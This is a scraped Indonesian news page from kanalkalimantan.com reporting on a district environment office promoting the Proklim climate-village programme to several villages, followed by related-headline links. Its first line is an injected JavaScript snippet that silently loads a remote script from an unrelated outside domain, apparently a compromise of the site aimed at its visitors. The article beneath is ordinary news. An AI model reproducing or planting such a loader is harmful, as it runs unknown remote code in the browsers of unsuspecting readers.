(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BUNTOK – Dinas Lingkungan Hidup (DLH) Kabupaten Barito Selatan (Barsel) sosialisasi program kampung Iklim kepada perwakilan sejumlah desa, Kamis (9/6/2022).
DLH Barsel diwakili Sekretaris H Haitami mengatakan, tujuan utama program dari kampung iklim untuk menginventarisir sejauh mana masyarakat desa tersebut peduli pada program iklim tersebut.
“Sehingga dengan inventarisir desa mana yang sudah mengikuti program iklim, bisa kembali didaftarkan yang ingin ikuti program kampung iklim,” kata Haitami.
Lebih lanjut olehnya untuk saat ini desa yang telah ikuti program kampung iklim ada 7 desa. Dimana 6 desa mandapatkan kategori madya dan 1 desa utama. Sehingga untuk dapat mencapai kategori tertinggi yakni lestari, setidaknya ada 11 desa yang ikut setidaknya.
“Jadi tahun ini kita kembali mengusulkan 4 desa, sehingga jadi 11 desa dan kita dapat mencanangkan Desa Pararapak saat ini kategori utama bisa naik jadi lestari yang nantinya akan membimbing desa lainnya,” jelas Haitami.
Baca juga : Penyandang Disabilitas Ngemis di Pinggir Jalan, Ini Saran Wakil Rakyat Banjarbaru
Sementara itu, Kasi Perubahan Iklim Balai PPIKHL Wilayah Kalimantan, Tri Setiawan mengatakan, Proklim ini merupakan kegiatan pemahaman akan perubahan iklim yang terjadi setiap saat dan tentunya bisa di adaptasi tiap desa akan dampak terjadinya perubahan iklim ini.
“Intinya adalah memberikan pengakuan atas terjadinya perubahan iklim dalam suatu tempat dalam hal ini bagia desa yang mengikuti program ini, dan sejauh mana mereka bisa beradaptasi dalam hal tersebut,” ujar Tri.
Ia mengatakan sejauh ini Barsel bisa dibilang termasuk kabupaten yang aktif dalam mengikuti program ini, untuk mendaftarkan mengikuti program tersebut sejak tahun 2018.
“Jadi setiap tahunnya Barsel selalu mendaftarkan untuk terus mengikuti program ini melewati kelembagaan yang mengurus hal ini,” beber Tri.
Baca juga : Guru Wildan: Berhaji Itu Murni Panggilan Allah, Bukan Karena Fisik dan Harta
Di lain pihak, External Relation Buma, Nunup Walehano mengatakan, pihaknya yang merupakan dari sektor usaha, sangat mendukung sekali program iklim dan kembali menyerahkan kepada pihak terkait bila mana inginkan bantuan bisa dianggarkan nantinya lewat CSR yang ada.
“Jadi kita akan selalu mendukung program kegiatan yang tentunya dalam hal ini kegiatan yang positif, lewat program CSR perusahaan akan kita anggarkan nantinya,” pungkas Nunuk.(kanalkalimantan.com/digdo)
Reporter : digdo
Editor : kk
Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
This website uses cookies.